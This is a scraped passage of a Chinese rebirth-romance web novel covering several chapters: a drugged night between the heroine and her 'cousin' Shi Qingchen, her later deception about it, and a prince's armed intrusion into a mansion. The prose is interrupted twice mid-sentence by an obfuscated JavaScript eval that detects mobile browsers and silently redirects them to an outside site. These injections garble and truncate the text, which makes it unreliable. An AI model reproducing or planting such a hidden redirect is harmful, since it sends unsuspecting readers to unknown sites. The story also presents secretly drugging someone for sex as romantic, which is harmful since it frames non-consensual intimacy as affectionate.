不管是谁,他们为什么要在他的身上做这样一个记号,难道仅仅是为了让他洁身自好?若真如此,这燕王府的规矩也太严了吧?难怪老夫人听说自己去了春风馆,差点气死过去。 时倾尘深吸一口气。 他不舒服,很不舒服,这种不舒服不是因为她,而是因为他自己,他清楚地感觉到,自己的身体发生了某种微妙的变化,不痛不痒,但却难以忍受。 “梨容,下来。” “嗯?” 他几乎是咬牙切齿,“我说,下来!” “你很难受?” “嗯。” 沈衔月笑了一下,她咬着他的耳朵,喃喃细语,恍若风中蒲柳,水中花影—— “人生苦短……” “及时行乐……” 时倾尘感觉自己快要疯了,他本来就受了重伤,此刻又被这香料的味道所蛊惑,他一个翻身将她反压在身下,双臂撑在她的两侧,嗓音透着沙哑的质感。 “梨容,我们不能这样。” 沈衔月翘指拔下发簪,青丝泼墨,星汉如雨,她仰起脸,嫣然一笑。 “我不是梨容。” 他怔住。 她的呼吸扑在他的耳侧。 “子川~我是衔月~” …… 衣襟散乱,满地春华。 十指相扣,旖旎流香。 …… 东方浮起一抹鱼肚白。 清润莹洁的露珠顺着花叶滑落,染彻她的眉心。 沈衔月从睡梦中睁开眼睛,目光所及,一大片的花叶零落成泥碾作尘,似乎在提醒着她,昨夜是怎样的一场荒唐,她轻叹一声,余光瞥见近在咫尺的时倾尘。 《灵香录》有云,南朝遗梦乃是宫中禁香,有迷情乱性之效,闻者沉陷其中,情难自已,会在巫山云雨之后宿醉不醒,记忆全失,按照这个说法,时倾尘至少还要几个时辰才能醒过来。 她放下心,肆无忌惮地打量着他。 他薄睑微湿,拢着一层雾蒙蒙的月色。 上一世,这一世,沈衔月都从未想过二人会有这样一刻,这是一种很奇妙的感觉,同她在李元彻那里感受到的不同,时倾尘很温柔,即便中了迷药,也在拼命克制,宛如冬日晴雪,温存而又疏离,她记得,他在意识模糊之际,贴在她的耳边,呢喃着说,“衔月,别走,别走……” 她想,他真的把自己当成了梦中的那个女子,可惜他永远不会知道,她就是梦中的那个女子,梦中的那个女子就是她。 她不会告诉他这个真相。 她要让他把这一切当成一场梦。 重活一世,她要的已经不单单是他的爱了,她想知道上一世自己的死因究竟和他有没有关系,她想知道永宁十年那场兵变背后究竟还隐藏着怎样的阴谋。 距离永年十年还有三年…… 沈衔月清理干净现场的痕迹,旋即折身离开,她抬手拨开拂及面颊的新叶,在迈出最后一步之前,她回头深深望他一眼。 他安静地躺在青石台上,眉眼如画,清冷绝尘,一如,当年初见。 她心絮微乱。 前尘忽寄梦中梦,今生犹见风里风。 刹那间,她忆起了许多人,许多事。 上一世,烟雨朦胧,他从江南的水墨中翩然而至,及笄宴上遥遥一见,她对他芳心暗许,彼时,她是太傅府的掌上明珠,是天皇贵胄都要讨好追求的对象,她是那样的骄傲那样的明艳,她相信,他一定会爱上自己的。 可他没有,哪怕她最后嫁给了李元彻,他也不过淡淡说了一句“姑娘珍重”,她曾经以为自己很了解他,她知道他喜欢的吃食,知道他爱弹的琴曲,直到临死的时候,她才明白她从未看清过他,她甚至连他的真实身份都不知道。 她爱的是残缺的他,是不完整的他,因为这份残缺,补全了无限可能,因为这份不完整,成就了无数圆满,恰如镜中观花,水中望月,正因这份朦朦胧胧的梦幻,才更叫人心向往之。 她后来常常感叹,人在年少时不该遇到太过惊艳的人,否则一旦错过,便是终身之憾,即便后来,她遇到了许多人,端方如李元洵,痴狂如李元彻,在她的心底,也都不及他万分之一,爱到最后,她已经分不清她爱的究竟是这个人,还是这份执念,她的爱恋热烈疯狂,仿佛飞蛾扑火,即便得不到他的半点回应,她也不后悔曾经这样真切地爱过一个人。 只是这一世,她更爱她自己…… * 时倾尘做了一个很长很长的梦。 梦中,他和一个女子发生了一些不可描述的事情,芙蓉销魂,潋滟贪欢,即便是在梦中,他也觉得不可思议,他曾经一遍遍告诫自己,这辈子,他在男女情分上注定无缘。 大徵国土沦丧,至今未收,燕北十六州支离破碎,风雨瞑晦,夷狄铁骑虎视眈眈,蠢蠢欲动,自从燕北十六州失陷敌手,朔北昔日的天堑屏障不复,腹地大开,利刃悬心,这盛世繁华的幻灭只在敌人的一念之间罢了,满朝文武却还在主战与主和之间摇摆不定,何其可笑! 时倾尘曾经立誓,这辈子,他誓与燕北十六州共存亡。若是皇恩浩荡,他愿以血肉筑梁,夺回燕北十六州,从头收拾旧山河。若是喉舌难辩,他哪怕担了乱臣贼子之名,也要以飘摇微末之身,祭奠枉死的红血白骨,万千亡魂。 他尚不能自全其身。 又怎么敢染指情爱。 可是,不知道从什么时候起,他心里面住进了一个人,说来奇怪,他明明不认识她,却在她眼波流转、浅笑嫣然之际,似见故人惊鸿影,他不记得他们有过怎样的曾经,可是他会跟着她的欢喜而欢喜,跟着她的伤悲而伤悲。 没有人知道,他从“建安盟”确认了“沈衔月”就是“梨容”之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418733|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的心里是何滋味,直到那一刻,他才意识到他对她的感情早已超过了兄妹之情。 那夜,他独自一人待在听澜苑中,放任冰水将自己淹没,在彻骨凌寒中,他又生出了些许侥幸,幸而她真的是他的表妹,幸而他们之间不可能有除了兄妹之情以外的感情,当他从冰水中挣扎出来的那一刹那,他决定正视自己的内心,从今往后以兄长之名护她一生一世。 可是这个梦…… 他再次迷惘…… 素华翻飞,弦月弄影,他被无休止的梦境淹没,心甘情愿地随她沉沦,南朝遗梦何须憾,但愿长醉不复醒,他不知道这场梦的真假,他怕是真的,更怕是假的。 “衔月!梨容!” 伴随着两声呓语,时倾尘陡然睁开眼睛,黄昏刺入眼眸,流云漓彩,乌金西坠,水天一色间的光芒炽热而又绚烂,染就百余丈的红尘斑斓、锦绣繁华。 清风拂面,刹那间,梦中种种烟消云散,时倾尘出了一会儿神,他的脑袋痛得很,幻象与现实交叠掩映,像是水和沙掺在一块儿,混混沌沌,不清不楚,意识忽闪之际,他的脑海中骤然浮现出她的倩影,他怔了怔,暗暗责怪自己太过痴心,简直到了荒唐可笑的地步。 他撑着青石台坐起来。 夕色微阑,醺风沉醉,空气中飘来了一缕影影绰绰的琴音,似乎是梨花苑的方向,他犹豫片刻,还是打算过去瞧瞧。 起身时,他忽然觉得有些不对劲。 金灿灿的余辉洒落,他低头,瞧见自己雪白的袖袍上泛着细碎褶皱,好似揉乱的云絮、山巅的石浪,两侧衣襟滑落,以一种很潦草的方式系在一起,显得很生硬很匆忙,这绝不是他系衣裳的手法,他的脸色倏尔一白,他隐约感觉到自己的身体发生了某种难以启齿的变化。 尤其是……那个地方…… 难道梦里的一切都是真的? 难道,那不是梦? 时倾尘心绪繁乱,他匆忙换了身干净衣裳,快步往梨花苑走去,他走得太快,路上甚至撞到了两个人,顾不得对方诧异的目光,他夺步而去,直奔梨花苑。 虽然他不记得昨夜发生了什么,但是直觉告诉他,这件事一定同“梨容”有关。 * 梨花苑。 莺儿正在廊下打梅花络,见他来了,忙迎上前去,“世子殿下怎么过来了?” 时倾尘扫了眼紧闭的房门,“梨容呢?” 莺儿听见时倾尘直呼“梨容”的名讳,不免有些讶异,不过她还是回答道,“姑娘刚刚弹了一会儿琴,说乏了,命我们都出来,这会子,想是已经歇下了。” “歇下了?眼下不过戌时三刻,她就歇下了?我竟不信她睡得这般早。” 说着,时倾尘便要推门进去。 莺儿愣了一下,心说世子殿下平素不是这么不稳重的人啊,怎么突然变了一个人似的,她连忙伸手挡在门前,“世子殿下,姑娘才从佛堂回来,乏得不行,的确已经歇下了,男女有别,殿下不能进啊,殿下若是有什么事,不如明儿再来吧。” 时倾尘步子一滞,“佛堂?她又去佛堂罚跪了?是祖母让她去的吗?” “不,是姑娘自己要去的,姑娘说,她给世子殿下惹了麻烦,心中有愧,昨儿从慈安堂出来就去佛堂跪着了,姑娘跪了一天一夜,直到一个时辰前才回来。” “所以她昨天一整晚都在佛堂?” “是啊。” 时倾尘怔在当地,敛眉不语,他忽然意识到自己不管不顾跑到这里是多么荒唐的一件事。他来找她,除了昨夜的那场梦,还有许许多多的疑心,可是说穿了,再多的疑心也不过是疑心而已,他没有任何怀疑她的理由,他甚至说不清,自己为什么会如此激动如此纠结。 若真是一场梦。 日有所思,夜有所梦,他在梦中和自己的表妹发生了如此不堪的事情,岂不是说明他一早就对她存了不该有的心思?他自视甚高,怎么能接受这样的自己? 若不是一场梦。 对于女子而言,看不见的贞洁远比看得见的性命还要重要,如果那个女子就是他的表妹,他更是愧对先祖,愧对父母,他又有何脸面再来见她? 时倾尘不自觉后退半步。 莺儿看着他如丧考妣的样子,疑惑不解,试探着问,“殿下?” 时倾尘沉默了一下,“等她醒了,不必告诉她我来过。” 莺儿似懂非懂地应了声,“好。” 就在这时,门开了。 他呼吸一滞。 19. 明灭处 十九、明灭处我会对你负责的 日头偏西,琉璃瓦扑开大片大片温暖明透的薄黄,沈衔月倚门而立,夕风拂乱她的青丝,淡金色的碎芒勾勒出她恬淡清丽的轮廓,她扶着竹帘,微微抬头,眉眼间拢起一抹浅淡柔情,对他嫣然一笑。 “表兄来了。” 刹那间,扶光辉煌,万籁生长。 时倾尘的心仿佛被什么东西击中了,他抿了抿唇,一个字也说不出来。 沈衔月眸中闪过一丝诧异,“表兄脸色怎么这么难看?”她思量了一下,略低头,“都是我不好,连累表兄替我受过,我昨儿一直在佛堂为表兄祈福来着,表兄的伤可好些了?莺儿也是,表兄来了也不知会一声,白白害得表兄在这里吹风。” 莺儿笑道,“我以为姑娘歇下了,就没敢让殿下进去。” 沈衔月一面往里让,一面嗔怪道,“表兄又不是外人,你何须如此小心。” 时倾尘始终一言不发。 竹帘被风吹得轻晃,阳光破碎,搅乱一池春影,她鬓角的一缕碎发不经意地落在锁骨上,青丝墨染,更衬得她肌肤胜雪,她腰间悬着的流苏玉环绶在他的心底荡漾开一抹暧昧的斑斓。 时倾尘不敢再看,他眼睑微垂,摸索着光影的痕迹,拾阶而入,有那么一瞬间,他感觉自己像个贼…… 少顷,莺儿奉了茶来,时倾尘握着茶盏,心里稍稍舒了一口气。 “表兄。” “嗯?” 他等了半晌,没听见她的下文,只得抬眼看她,她的脸微微有些发红,似乎很是为难,“表兄,我想向你坦白一件事。” 时倾尘的心跳不自觉加快,他修长的指节紧叩瓷盏,努力让自己的声音听起来还算平静,“什么事?” “就……昨天的事……” “铮”的一声,时倾尘心里的某根弦断了,茶盏从他的手中滑落,碎瓷玎珰,滚水四溅,他遽然起身,脱口而出,“是你?昨天的那个人真的是你?” 沈衔月轻轻“嗯”了一声。 时倾尘一时失语,“你……” 沈衔月知道他中计了,她将笑意尽数藏进眼底,老老实实地低头认错,日光下彻,长翘的睫毛在她细瓷般的脸庞上映出一个好看的弧度。 “对不起,表兄,我知道我错了,我只求表兄不要把这件事告诉别人,不然,我就没有颜面再活在世上了。” 时倾尘尽可能让自己的心情平静下来,没有人知道,飘飖衣袂之下,他的手已经紧握成拳,刹那间,他的胸中翻滚起许多说不清道不明的情感,有惊,有气,有恨,有愧,有惧,还有那么一丝他誓死不愿承认的欢喜,他面带愠色,颤声责问,“你怎么能做出这种事来!” 沈衔月似乎被他的样子吓到了,她以袖掩面,佯声啜泣。 “表兄……” 时倾尘见她哭了,不由得慌了神。 “你别哭啊。” 沈衔月摇摇头,只是抿唇不语。 时倾尘感觉自己的脑袋都快要炸了,这都什么事儿啊,谁来救救他,他不知道应该怎么面对她,仓皇之中,他夺门而出,不过须臾光景又回来了,他迟疑了一下,想将自己的帕子递给她,却又觉得不妥,末了,他收回手,怔怔看着她。 日影西斜,沈衔月亭亭而立,云鬓烟鬟宛如一朵凝露绽放的芙蓉,水面清圆,风荷飘举,她白皙滑腻的玉颈在缠枝银纹的衣襟上映出柔和的光泽,甚是惹人怜爱。 她仰起脸,目光柔弱无助,眼角犹自挂着一抹泪痕,“表兄,我该怎么办?” 他没有片刻犹豫,“我会对你负责的。” 她微微蹙眉,似是不解,“负责?” “怎么了?”时倾尘看着她惊讶的表情,疑惑道,“难道你不愿意?难道你不希望我对你负责?难道你还有别的打算?”他不知是哪来的火气,一步步向她逼近,高大修长的身影将她整个人笼罩,“梨容,告诉我,你心里究竟是怎么想的?” 二人离得太近,她的呼吸和眸光都沾染了一抹他的痕迹,她从未见过他这个样子,不由往后退了几步,退到最后已是退无可退,在他的禁锢之下,她的身体紧贴墙面,他抬手撑在她的颈侧,却并没有碰到她一丝一毫,这个空间逼仄又暧昧,她听见自己的心跳声在加快。 沈衔月勉力一笑,“容儿愚钝,听不明白表兄的话,表兄可否说得再明白一些?” 时倾尘眸似深潭,掩藏着不为人知的诱惑与危险,无法排解的情绪顺着他的掌面击落墙壁,在她的心间印出一个深深的吻痕,他抿唇,“无论如何,这件事若是传扬出去,定然会害了你,你放心,我会向父亲禀明此事,是我酒醉误事,是我不能自持,是我害你失了清白之身,我会娶你过门,尽我所能,许你一世安乐。”他顿了顿,补充道,“如果你愿意的话。” 沈衔月眨着无辜的大眼睛,“你说什么呢,你何曾害我……那个……表兄,你是不是误会了什么?” 时倾尘被她绕糊涂了,“什么误会了什么?你说的不是昨晚的事情吗?” “昨晚我一直在佛堂为你诵经祈福,何曾出过什么事情,我是说昨天白天的事,我不是偷偷跑去春风馆然后被祖母责罚了吗,表兄难道不记得了吗?” 时倾尘怔住。 他松开手,退后半步。 沈衔月见他如此,终于松了一口气,知己知彼百战不殆,她知道他的疑心,所以,她一步步设计引他入局,就在他以为他们二人确有肌肤之亲的时候,她却反将一军,将他所有的怀疑尽数推翻。 她仰起微红的小脸,仔细打量着他。 “表兄?” 他回过神来,掩袖轻咳两声。 “原来表妹说的是这件事,记得,当然记得。” 沈衔月故意摆出不解的样子,“昨天还发生了什么别的事吗?” 时倾尘摆摆手,“没有没有,是我睡迷了,信口胡说的,表妹不要放在心上。” 沈衔月望着他的样子,微微一笑,她不明白他的执拗,话都已经说到这个份上了,他还是不敢将这层纸捅破么,既然他不敢,那么,就让她来吧。 “表兄,我有话问你。” 时倾尘啜了口茶,“什么话?” “你是不是喜欢我?” 时倾尘差点没把茶喷出来,他指叩瓷盏,强作镇定,“你,你说什么?” 沈衔月眉宇间尽是明艳与灵动,她眨眨眼,“我说,你是不是喜欢我呀?” 她的美,太过耀目。 他几乎要陷进去了。 时倾尘吃力地挪开视线,眺望着从琉璃瓦绵亘至地老天荒的落日残红。 太阳快要落山了,暮云西坠,飞檐钩月,冷白昏黄的光泽洒下些许苍凉,他长身而起,往门外走,清寒料峭的背影掩映在漫天残华中,他的声音随风轻曳。 “没有。” 蓦地,一声冷笑从他的身后传来。 “懦夫。” 他陡然站住,回头看她。 他从未见过这样的“梨容”。 这一刻,他感觉他不认识她了,又或者,他从来就不知道她究竟是个怎样的人。 沈衔月走上前来,“你敢说你不喜欢我吗?你若是不喜欢我,你为什么不惜自己受伤也要保全我?你若是不喜欢我,你为什么会说出刚刚那番话?你若是不喜欢我,我们在佛堂的那个吻又算什么?你哪怕骗了所有人,也骗不了你自己的心!” 时倾尘眸色一深,面对她的指责,他无从辩驳,但他不能不辩,他轻叹一口气,“梨容,有些事从一开始就是错的,如果继续错下去,只能伤人伤己……” 沈衔月开口打断了他,“什么是对?什么是错?”她凝神看他,眸子分外明亮,“殿下博闻广识,岂不闻,窃钩者诛,窃国者侯,如果你真的在意世人眼中的是非对错,你就不会这么多年始终穿着一袭白衣,你就不会一直隐忍不发,低调行事,你就不会在外面隐瞒燕王府世子的真实身份,只以茶商二公子自称。时倾尘,告诉我,你心中的执念究竟是什么?” 时倾尘默了半晌,许久,他沉声道,“我曾立誓,一生誓与燕北十六州共存亡。” “燕北十六州。”沈衔月脸上流露出思索的表情,“你想将它夺回来吗?” “当然。” 他退后半步,向她敛袖一揖。 她吓了一跳,“你这是做什么?” 天地苍茫,风声肆虐,他的墨丝逸散,褪却了世间所有的尘缘浮华。 “我时倾尘这辈子不信神佛,不信君王,能让我全心全意为之往赴的,唯有这个天下。梨容,我承认,我对你有过不一样的感情,但我此生背负了太多,我与你之间只有兄妹之情,也只能有兄妹之情。” 他不知道自己是何时爱上她的,他更不知道自己为什么会爱上她,于他而言,她的出现有如春风掠起涟漪,等他发现的时候,已是满池春痕,一发不可收拾,他没有办法原谅这样的自己,他站在她的面前,白衣沉夜,石阶叠影。 他的身后,是一望无际的千古寂寥。 她的唇瓣微微颤动,他终于愿意承认了么,这一刻,她的心里酸酸的,甜甜的,像是一坛放久了的桃花酒,因为岁月的酿泽,原本轻盈的味道也掺了一丝沉重。 天尽头,残芒跃入星海,早月似一抹浅淡的泪痕,勾勒出并不分明的界限。 落日熔金,裹挟着人世间所有的明灭映入她的眼眸,她释然一笑,“我明白了。” 这一刻,她的心中涌起了难以言说的情感,世间人,世间事,本就如月中夜,灯下尘,各有各的皎洁与晦暗。 天地一分为二,她清楚地看见,他素袍羸骨,毅然立于黑白跌宕之间,坚守着他以为的是非对错,燕北十六州沦丧敌手的是错的,爱上不该爱的人也是错的。 她很想问他一句,不累吗? 话到嘴边,她换了个问法。 “这场仗,如果你输了,你会死,如果你赢了,你也有可能会死。大徵建朝数百年,从来不缺有才之人,有识之士,可是你放眼看看,刀剑也好,利笔也罢,那些曾经搅弄历史风云的人,要么名垂青史,德耀后嗣,要么死于非命,青冢黄土。” 时倾尘似乎笑了一声,月亮从东方徐徐升起,残阳如血,韶华将灭,胭脂色的流云烟霞肆意释放着最后一抹热烈与癫狂,他的轮廓沾染了些许夜色的寒凉。 “死又何妨?” 沈衔月咬唇。 “死了,就什么都没有了。” “没有就没有吧,人生百年,恰如白驹过隙,不过是弹指一挥间,谁能不死呢?” 沈衔月听他如此说,心中倏尔一痛,她想起上一世,敌人大举进犯,行掠之处血肉横飞,太子李元洵领命抗敌,出师不利,时倾尘以文臣之名,自告奋勇,皇帝本来对他并不抱什么希望,但是因为大皇子的举荐,皇帝还是给了他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“功成身退,从此逍遥于天地间,再不问朝堂上的是与非,兴与废。” “你什么都不想要?什么都不在乎么?” “嗯。” “那你图什么?” “图个心安。” 沈衔月沉吟良久,末了竟是一笑,“时倾尘,既然让你碰到了我,我不会让你死的。”她学着他的口气,信誓旦旦地说,“你放心,我会对你负责的。” 时倾尘不明白她在说什么,他本来想问个究竟,可是听见她的后半句话,他又不好意思开口了,他思忖了一阵,试探着问,“你昨夜真的在佛堂吗?” 沈衔月弯了弯眉,眼中滑过一丝俏皮的笑意,“当然啦,不然还能在哪儿?” “少主,不好了,三皇子闯进来了!” 沈衔月闻言一惊。 李元彻? 他为什么要夜闯燕王府? 他虽然行事张狂,却并非全无章法,他这么做一定有他的理由,难道他发现了自己的真实身份…… “三皇子?他来做什么?” 凤箫骂骂咧咧,“不知道啊,连声招呼都没打就过来了,兄弟们顾忌着他的皇子身份,也不敢拦,实在是太过分了!他要不是皇子,我真想狠狠教训他一顿!” 时倾尘一脸云淡风轻,看起来一点也不生气,“他一个人来的?” “是啊。” “人呢?” “他在听澜苑等着少主呢。” “嗤,难怪允器骂他是草包,还真是草莽性子,这么荒唐的事情都做得出来。” 时倾尘余光瞥见沈衔月微微发抖的手,声音不自觉温柔了下来。 “别怕,我去会会他。” 沈衔月勉力一笑。 “李元彻就是个疯子,你千万当心。” 时倾尘点点头,举步欲走,沈衔月忽然唤了一声,“时倾尘。” 这是她第二次叫他的名字了,时倾尘扶门的手一滞,月华沿着半卷竹帘滑落,他的面容在清辉之下俊逸非常,他回眸看她,眉眼深邃又温柔,“怎么了?” “你不要激怒李元彻,他这个人什么事都做得出来。” “好。” …… “我今晚在梨花苑等你的消息,如果出了什么事,你一定要派人告诉我。” “好。” …… “你要好好活着。” “好。” …… 沈衔月不知道还能叮嘱些什么,她迟疑了一下,把脸靠在他的肩上。 刹那间,青丝逸散,分花拂柳,空气中涌动着醉人的芳香,她的玉体柔软美好,他身子一僵,眸底闪过一丝星芒。 他倏然意识到,从这一刻起,二人之间有什么东西变得不一样了。 时倾尘轻叹一口气,抬手拍了拍她的背,动作温存而又克制。 呼吸交错间,她望向他的眼神痴醉迷离,昨夜二人在月色下动情乱性,天为帐,地为野,她永远忘不掉那种感觉,他给予了她至死难忘的欢愉,她贪恋于他年轻的身体,沉沦于他烫人的温度…… 她抬手,纤纤葇荑滑过他的宽肩窄腰,悄无声息地将玉佩放入他的怀中。 今夜福祸难料,倘若这枚玉佩真能调动骁骑营大军,她希望能护他无虞,在真相大白之前,她要他活着。 20. 她的唇 二十、她的唇如果她不是他的表妹该有多好 指尖沿着他的腰线泛起一丝灼热。 碎芒潋滟,暗潮涌动,不知名的情愫在夜色下荡漾。 她仰起脸,眸光皎若明月,温柔似水,他的心微微一颤,竭力抑制着自己想要亲吻她的冲动,有那么一瞬间,他甚至在想,如果她不是他的表妹该有多好。 这个念头在他的脑海中挥之不去。 刹那间,时倾尘坚守了十八年的信念动摇,他只觉得天崩地陷,五内轰鸣…… 他吻过她两次,一次是她拿李元彻激他,他被她勾起了胜负欲,还有一次,他想要从她口中获得解药,于是鬼使神差地覆上了她的唇,而这一次—— 他是真的想要吻她,不掺杂任何杂质,完完全全臣服于灵魂深处的某种本能。 可他终于还是松开了手。 他可以爱她。 却不能吻她。 时倾尘深吸一口气,推门而出,梨花苑中枝动影摇,澄霁素辉洋洋洒洒地拂了一身还满,天边,一轮新月濯褪乌色,照破万丈层岚,他的心清明了许多。 这份悸动,惟愿珍之藏之。 沈衔月倚门而立,她望着他的身影逸入夜色,瀚瀚若远山,灼灼似星子,直到那抹银光被风吹散,再也看不见了,她才折身回来,她凝神静思,把永宁七年发生的每一桩事都仔仔细细想了一番,末了,她心中忽而有了一个大胆的主意。 “莺儿,你帮我去找一个人。” “姑娘是要去找世子殿下吗?” “不。” “那是?” 沈衔月轻吐二字,“太子。” * 听澜苑。 绛红色院门大开,时倾尘白衣谪仙,拾阶而入,只见其间竹曳石碎,断井残垣,俨然刚刚发生过一场鏖战,清冷茕迷的月光下,院落中央影影绰绰立着一个人。 此人,正是李元彻。 李元彻穿着一袭纁玄缂丝宝相纹襕袍,金玉蹀躞带垂佩随候仞,他面朝朱墙,负手而立,一尾冷风卷落两三瓣梨花飞雨,他的轮廓在夜色中起伏不定,状如鬼魅,砚墨、青崖、断舟三人持剑左右,却忌惮着他的皇子身份,不敢贸然上前。 砚墨、青崖、断舟都是燕王府内一等一的用剑高手,他们三个各有所长,砚墨用剑最稳,青崖用剑最快,断舟用剑最狠,三人配合行事,天下无出其右者。 凤箫扫了眼三人的情状,不由得咬牙,青崖小时候掉入虎狼窝,右臂被猛兽撕咬过,伤到了骨头,后来怎么治也治不好,所以青崖惯用左手持剑,此刻却换作了右手,左臂虚掩在身侧,映着地上斑斑点点的猩红,显然是方才被李元彻所伤。 凤箫和他们有同袍之谊,眼见青崖受伤,岂有不恨之理,奈何时倾尘还没开口,凤箫也不敢多言。 他抬指压住剑鞘,强迫自己冷静下来。 时倾尘看见青崖的伤势,眉头微皱,他默了默,轻启凉唇,“三皇子。” 四下岑寂,这一声恰如平地起惊雷,砚墨、青崖、断舟纷纷抱剑行礼。 “参见少主!” 李元彻转过身来,他斜眼打量着时倾尘,狭长深邃的丹凤眼挑出一个妖冶的弧度,半晌,冷冷一哂,“燕世子,你好大的胆子,竟敢纵着手下人对本王动手行凶!” 时倾尘淡淡询问,“砚墨,怎么回事?” 砚墨生得端秀,乍一看颇有几分书生气,然行动间又见凌厉之风,他单膝跪地,“禀少主,三皇子殿下夜闯青石台,属下记得少主曾有吩咐,青石台等闲人不得擅入,所以属下和青崖、断舟拼死阻拦,少主若要惩治,属下愿意一力承担。” 青崖和断舟跟着砚墨跪下。 “属下也愿承担。” 凤箫握了握拳,也上前一步跪下。 “少主……” 时倾尘没等他说完,就抬手示意他们起来,“我知道了,你们先下去吧。” 凤箫看着剑拔弩张的李元彻,迟疑着不肯走。 时倾尘轻描淡写地说,“无妨。” “那少主小心。” “嗯,去罢。” 凤箫知道时倾尘看起来是个温润如玉的贵公子,打小却是从死人堆里摸爬滚打出来的,自然不惧一个李元彻,当下也没有什么不放心的,于是带着砚墨、青崖、断舟三人行礼告退。 李元彻瞧见凤箫几个就这么走了,一拧眉,“怎么?不打算给本王一个说法吗?” “三皇子可有受伤?” “没有。” “那三皇子还要什么说法呢,或者,我把他们几个唤回来,叫他们和三皇子堂堂正正地比试一场,若是三皇子受伤了,再向我讨要说法也不迟。” 李元彻气得说不出话来,“你!” 时倾尘轻嗤一声。 李元彻更生气了,“你笑什么?” “我笑,三皇子无故擅闯燕王府,就不怕圣上知道了怪罪吗?燕王府虽然不复当年盛况,却也是食邑五千户的郡王,位列公卿,名昭史册,三皇子怎可如此放肆!” “哼,所谓的大徵郡王,不过是父皇给你们时家保留的最后一块遮羞布罢了,当年燕北十六州若不是你们守卫不力,怎么会沦丧敌手!至于父皇,天高皇帝远,父皇哪有那么长的耳朵,就算他知道了,一个是他的亲儿子,一个是罪臣之后,你觉得他会相信谁?” 时倾尘听闻“罪臣”二字,素来淡漠的眼眸蓦地闪过一丝暗芒,不过很快,他的神情又重新归于平静,恍若灼灼红日坠入浩瀚无垠的寰宇,刹那间,绚烂至极,烨熠耀目,而后,万籁俱寂,天地失色。 他似是笑了一下,“那么太子殿下呢?三皇子也不担心吗?” 李元彻眸光一沉,他寻不到沈衔月,太着急了,一时间方寸大乱,竟把李元洵给忘了,他咬着下唇,怒道,“太子自然也没有相信外人的道理,时倾尘,你少和本王废话,你先是毁坏御赐之物,后又蓄意谋害本王,挑拨本王和太子的关系,这些罪名足够你吃一壶的。” 时倾尘不以为意地笑了笑,“三皇子不必和我兜圈子,想要什么,不妨直言。” 李元彻倒也爽快。 “你把你表妹带出来,让本王见上一面,此前种种,本王既往不咎。” 时倾尘不动声色地折下竹间一抹苍翠,一弹指,新叶飘旋而去。 “三皇子这是何意?” “本王的妻子走丢了,本王带人亲自寻遍了整个江南,只有一个地方还未搜过,那就是你们燕王府,偏巧听说燕世子新近迎回了一个表妹,可有此事?” 时倾尘眉眼上挑,似笑非笑,“妻子?我竟不知,三皇子几时有了家室?” 李元彻抄手而立,很是不悦,“这就和你没有干系了,你只说,你让不让见!” “我若是不让呢?” 李元彻眯眼打量着时倾尘,眸中陡然闪过一丝杀意,“那就休怪本王不仁了。” 说罢,李元彻从袖中翻出骨哨,哨声起,兵戈亮,听澜苑原本平展的屋脊上霎时涌现出三围密密麻麻的黑影,这些人呈半包围状聚拢过来,众矢之的正是时倾尘。 时倾尘抬了抬手,“等一下。” 李元彻讥诮勾唇,合掌收哨,眉眼间是难掩的得意之色,“怎么?怕了?” 时倾尘从容一笑,“如果殿下实在疑心的话,我派人将表妹请来就是,不过在此之前,我须得问殿下一句,殿下见完之后打算怎么办?” 李元彻一时没反应过来。 “什么怎么办?” “梨容是燕王府的闺阁女儿,按规矩,在出嫁前是不可以见外男的,无论她是不是殿下要找的人,殿下既然见了她,就要对她负责,殿下可预备好聘礼了?” 李元彻这才听明白,如果梨容就是他要找的沈衔月,自然万事大吉,可万一不是,为了梨容的清白,他就得迎娶梨容过门,皇室婚姻不比寻常,梨容不过是寄居燕王府的表姑娘,这个身份不上不下,属实尴尬,决非助他夺嫡的最佳人选。 时倾尘这是以退为进,给他出了一道难题。 李元彻恨恨咬牙,他快要恨死时倾尘了,新仇旧恨叠在一块儿,他也顾不得许多,索性一不做二不休,“唰”的一声拔剑出鞘,寒芒凛冽,顷刻架在时倾尘如竹似玉的颈侧,激起半钩银纹,他哑声道,“时倾尘,你信不信本王现在就杀了你!” 时倾尘轻笑一声,他抬指捻住剑尖,不疾不徐地往外挪开寸许。 “你以为你打得过我吗?” 李元彻紧了紧剑柄,“找死!” 下一瞬,李元彻仗剑冲时倾尘的左胸刺了过去。 屋脊上的迭迭黑影恰如驽箭离弦,随之而起。 时倾尘才要闪躲,忽然听见了墙外的脚步声,他思量了一下,微微仰身,剑尖擦肩而过,在他雪白的袖袍上掠起一道血痕,他抬手撑住地面,堪堪落定。 李元彻扬眉狞笑,他挥挥手,那些人冲着时倾尘提刀杀去。 冷锋呼啸,时倾尘纹丝不动,唇角逸起一抹极轻极浅的笑。 这是一场豪赌,赌的,是他的命。 便听“铮”的一声,金石相击,锐气破空,这突如其来的力道震得李元彻几乎站立不稳,他翻腕回剑,迎着风声看去。 门外,太子府兵整齐列阵。 不过片刻功夫,李元彻眸中的惶惑诧异凝作一抹冷色,“呦,太子殿下也来了,今晚还真是热闹得很啊。” 太子李元洵侧首吩咐左右内率守在门外,随即撩袍而入,厉声呵斥。 “本宫若不来,岂非要看着三弟闯下祸事!允格,你也太胡闹了!燕王府也是你能擅闯的吗?你如何向父皇交代!” 